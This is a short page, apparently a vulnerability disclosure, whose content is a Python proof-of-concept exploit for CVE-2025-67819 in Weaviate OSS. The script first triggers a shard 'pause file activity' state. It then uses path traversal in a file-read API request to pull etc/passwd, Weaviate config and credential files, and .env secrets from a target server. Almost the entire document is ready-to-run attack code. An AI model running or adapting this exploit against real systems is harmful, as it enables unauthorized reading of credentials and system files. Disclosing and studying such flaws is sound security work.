CVE-2025-67819 Weaviate OSS 任意文件读取漏洞

# CVE-2025-67819 PoC - Weaviate OSS Arbitrary File Read # This PoC demonstrates the file path traversal in GetFile method import requests import json TARGET = "http://target-weaviate-server:8080" API_KEY = "your-api-key" # High privilege API key required headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } def trigger_pause_file_activity(): """Trigger the shard to enter 'Pause file activity' state""" pause_url = f"{TARGET}/v1/shards/pause-file-activity" payload = { "className": "YourClass", "shardName": "target-shard" } response = requests.post(pause_url, headers=headers, json=payload) return response.status_code == 200 def exploit_file_read(filepath): """Exploit the GetFile method to read arbitrary files""" file_read_url = f"{TARGET}/v1/files/read" # Construct malicious request with path traversal payload = { "className": "YourClass", "shardName": "target-shard", "fileName": f"../../../../{filepath}" # Path traversal } response = requests.get(file_read_url, headers=headers, params=payload) if response.status_code == 200: print(f"[+] Successfully read file: {filepath}") print(f"[+] Content:\n{response.text}") return response.text else: print(f"[-] Failed to read file: {filepath}") return None def main(): print("[*] CVE-2025-67819 Weaviate OSS Arbitrary File Read Exploit") # Step 1: Trigger pause file activity state if not trigger_pause_file_activity(): print("[-] Failed to trigger pause state") return print("[+] Shard entered 'Pause file activity' state") # Step 2: Read sensitive files sensitive_files = [ "etc/passwd", "weaviate/config.json", "weaviate/credentials.json", ".env" ] for filepath in sensitive_files: exploit_file_read(filepath) if __name__ == "__main__": main()